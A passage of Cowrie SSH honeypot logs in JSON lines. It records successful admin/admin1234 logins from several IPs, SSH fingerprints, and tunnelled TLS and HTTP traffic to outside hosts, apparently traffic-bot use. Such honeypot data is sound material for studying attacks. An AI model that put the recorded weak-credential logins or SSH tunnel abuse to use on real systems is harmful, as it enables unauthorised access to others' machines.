Z\\xe8\\xd5\\xc3=\\x98t^\\xe6\\xae$YM\\x87\\xd5\\xdb\\x0b\\x1b\\x14Yg\\x8b\\xfe\\xbb\\x06\\xd4\\xf1Z\\x85\\xc2\\xa0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":1,"message":"discarded direct-tcp forward request 1 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03tO\\x9b\\'\\x817-y1I\\xf6\\xec\\xea\\xba\\xe2CUL\\xa0\\x884$\\x13\\xa5\\xaf\"\\xd7a@YT( \\xfc\\xaa\\xf5\\xd4\\xab\\x02\\x0b\\xc3Ba\\x0f\\x11\\x9b\\r\\xffCA?\\xb7[\\x8b\\xc5\\xdaQn\\x11\\xff\\x1c\\x1f\\xee\\xba\\xa5\\x00 \\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x01\\x00\\x01\\x93jj\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08JJ\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x12\\x00\\x10\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)JJ\\x00\\x01\\x00\\x00\\x1d\\x00 Z\\xe8\\xd5\\xc3=\\x98t^\\xe6\\xae$YM\\x87\\xd5\\xdb\\x0b\\x1b\\x14Yg\\x8b\\xfe\\xbb\\x06\\xd4\\xf1Z\\x85\\xc2\\xa0c\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n::\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xcc\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:38.643084Z","src_ip":"113.164.152.20","session":"a7e087ff91a7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.175.50.51","src_port":58647,"dst_ip":"10.17.0.5","dst_port":22,"session":"cdf17b091499","protocol":"ssh","message":"New connection: 23.175.50.51:58647 (10.17.0.5:22) [session: cdf17b091499]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:38.826448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:38.831329Z","src_ip":"23.175.50.51","session":"cdf17b091499","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:39.034379Z","src_ip":"23.175.50.51","session":"cdf17b091499","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:39.192197Z","session":"a7e087ff91a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:39.472055Z","src_ip":"113.164.152.20","session":"a7e087ff91a7","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xae\\xc0\\xb9_V\\xbd\\xd3\\xe2VY\\xd1P\\n\\x98\\xe1\\xb1\\xa5\\x07$\\t\\x1cC\\xd0\\x94\\xa0\\xab\\x05p\\x89\\x97\\x84\\xba ia\\xf3(y\\x0c\\xa4Ob\\x18-\\xe5\\x15\\xa2\\x9d\\x97\\x03\\xb36F+\\\\\\x17\\x91-\\x9b\\xd7o\\xcej\\x82\\xac\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa2^\\x87\\xd7\\xe1_B\\xc86\\x1e{@\\x1fp\\xff\\xb4\\xb0\\xa2\\x9c\\xa6\\xc5\\xc5\\xf7K\\x13\\x04\\x00\\x83\\x97\\x17\\xa4\\x07\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xae\\xc0\\xb9_V\\xbd\\xd3\\xe2VY\\xd1P\\n\\x98\\xe1\\xb1\\xa5\\x07$\\t\\x1cC\\xd0\\x94\\xa0\\xab\\x05p\\x89\\x97\\x84\\xba ia\\xf3(y\\x0c\\xa4Ob\\x18-\\xe5\\x15\\xa2\\x9d\\x97\\x03\\xb36F+\\\\\\x17\\x91-\\x9b\\xd7o\\xcej\\x82\\xac\\x00\"\\xca\\xca\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91**\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08**\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)**\\x00\\x01\\x00\\x00\\x1d\\x00 \\xa2^\\x87\\xd7\\xe1_B\\xc86\\x1e{@\\x1fp\\xff\\xb4\\xb0\\xa2\\x9c\\xa6\\xc5\\xc5\\xf7K\\x13\\x04\\x00\\x83\\x97\\x17\\xa4\\x07\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\njj\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02JJ\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:39.474959Z","src_ip":"113.164.152.20","session":"a7e087ff91a7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.2","message":"Connection lost after 4.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:39.901599Z","src_ip":"113.164.152.20","session":"a7e087ff91a7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:40.704787Z","src_ip":"23.175.50.51","session":"cdf17b091499","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"123.27.168.40","src_port":54717,"dst_ip":"10.17.0.5","dst_port":22,"session":"abea14001023","protocol":"ssh","message":"New connection: 123.27.168.40:54717 (10.17.0.5:22) [session: abea14001023]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:42.109836Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:42.114011Z","src_ip":"123.27.168.40","session":"abea14001023","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:42.346690Z","src_ip":"123.27.168.40","session":"abea14001023","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:43.471523Z","src_ip":"123.27.168.40","session":"abea14001023","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:43.829116Z","session":"abea14001023","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"123.27.168.40","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:43.951963Z","session":"abea14001023","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:44.059805Z","src_ip":"123.27.168.40","session":"abea14001023","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=YTxMNmFWVyRhNUNsK1MraQ%3D%3DUWE2IebmJ5rtmW2c0Tw4eMPjjUC5Qv18OPM%2FK7qyzWiqQEaf0WYQkHAZ4nt89CeDsczRwazOV55XIRmIKT1br%2FiRnHoL7PAYQXLmZ3A94CosixAGfYF%2BOvMT1c0mZ8p0uOt1VFfGOMrChsvwuaeJ68KMP3lug%2Be5SPSjzj8A7m2LPreS27cSEry0ZPucPmIu5evbEk7pgLuLC%2BaYs27AUDSKvzSrr%2BUbRN2cIQywJoi%2FI%2F9QBV%2BNnNZ10MUsVPD4czY9qdqlbrafeW%2Fsrd4F%2BYtWhlEhys0ruc6VXJqsahpu22o8ytnUYKOzOyhWMBvJWZrLEHpFy7whvnHq0X6q3TyGO0g9pL7EcbsWL8inQgeyvI%2FMGn4jvwsMK%2FF1XvvfgbaaOY%2BSQVpt1i%2BS4OfOyIndbpa7%2FPlljom0b6a%2BjcHC8hwNcGNqwU8tGy%2BlCGGRrrV3KQKlfTzYp4Gmfk6oJqiNo%2FazUTFjusPU9dn4i0JGVxOQZHGAW9ZynAqiJ1gayqZN8iZvDIhDPjf3eN7wnyD9R8SjyodK7SwxHYuthHSUxCVfh2Ic%2BVQworg3jypy12clx0e1bhFhGVrrzGpGHdpiIlf%2B6MlM6TDF64jGTFnmEbQZz%2FZMPMk0iHYcM58Ti7swJ0axwq6qQ788wttNmmbhCxfAbVesyxXCgVOiaBvuNOvm7byNdpYzyXfWq8%2BWOFZDRbJRaLIGIbPRtlQEUcNIl9bIlykL4TTTVxW707LDiYwfI4IaXE32kT6nqHRwGdih3XY5xWhanoRVsJMs06rhKS3du1wuSceQ8ZCxP9m1YFe8o3%2F0V9x4FihfOtIpEscXOnQ5lZS1QFLhDjty09e47rOg7ADSa5a1w58Y0Ol8CtnX5N8NEtK9PJc89H7zkzWPpgRYBnMDtfCEzhukXypHr33l%2BiNQrBMqwhYLqm7Bb7zVr0oVUnemz0%2BGKMraL3hDPa9lkBVicGiBessRrHRT3IaX5kcRxokQ4jx70LG3bjrXHghNV4KuAzIY5v9g2dMKvPH6X7%2FIYscoKg1UrJ2GMe2Jt1nGGbo0dY12ng1QSttlsS9i3MyEtgdPeSle'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1172\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=YTxMNmFWVyRhNUNsK1MraQ%3D%3DUWE2IebmJ5rtmW2c0Tw4eMPjjUC5Qv18OPM%2FK7qyzWiqQEaf0WYQkHAZ4nt89CeDsczRwazOV55XIRmIKT1br%2FiRnHoL7PAYQXLmZ3A94CosixAGfYF%2BOvMT1c0mZ8p0uOt1VFfGOMrChsvwuaeJ68KMP3lug%2Be5SPSjzj8A7m2LPreS27cSEry0ZPucPmIu5evbEk7pgLuLC%2BaYs27AUDSKvzSrr%2BUbRN2cIQywJoi%2FI%2F9QBV%2BNnNZ10MUsVPD4czY9qdqlbrafeW%2Fsrd4F%2BYtWhlEhys0ruc6VXJqsahpu22o8ytnUYKOzOyhWMBvJWZrLEHpFy7whvnHq0X6q3TyGO0g9pL7EcbsWL8inQgeyvI%2FMGn4jvwsMK%2FF1XvvfgbaaOY%2BSQVpt1i%2BS4OfOyIndbpa7%2FPlljom0b6a%2BjcHC8hwNcGNqwU8tGy%2BlCGGRrrV3KQKlfTzYp4Gmfk6oJqiNo%2FazUTFjusPU9dn4i0JGVxOQZHGAW9ZynAqiJ1gayqZN8iZvDIhDPjf3eN7wnyD9R8SjyodK7SwxHYuthHSUxCVfh2Ic%2BVQworg3jypy12clx0e1bhFhGVrrzGpGHdpiIlf%2B6MlM6TDF64jGTFnmEbQZz%2FZMPMk0iHYcM58Ti7swJ0axwq6qQ788wttNmmbhCxfAbVesyxXCgVOiaBvuNOvm7byNdpYzyXfWq8%2BWOFZDRbJRaLIGIbPRtlQEUcNIl9bIlykL4TTTVxW707LDiYwfI4IaXE32kT6nqHRwGdih3XY5xWhanoRVsJMs06rhKS3du1wuSceQ8ZCxP9m1YFe8o3%2F0V9x4FihfOtIpEscXOnQ5lZS1QFLhDjty09e47rOg7ADSa5a1w58Y0Ol8CtnX5N8NEtK9PJc89H7zkzWPpgRYBnMDtfCEzhukXypHr33l%2BiNQrBMqwhYLqm7Bb7zVr0oVUnemz0%2BGKMraL3hDPa9lkBVicGiBessRrHRT3IaX5kcRxokQ4jx70LG3bjrXHghNV4KuAzIY5v9g2dMKvPH6X7%2FIYscoKg1UrJ2GMe2Jt1nGGbo0dY12ng1QSttlsS9i3MyEtgdPeSle'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:44.064113Z","src_ip":"123.27.168.40","session":"abea14001023","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1515h2_8daaf6152771_5563d4852cd1","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1515h2_8daaf6152771_5563d4852cd1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T23:18:44.289753Z","src_ip":"123.27.168.40","session":"abea14001023","protocol":"ssh"}
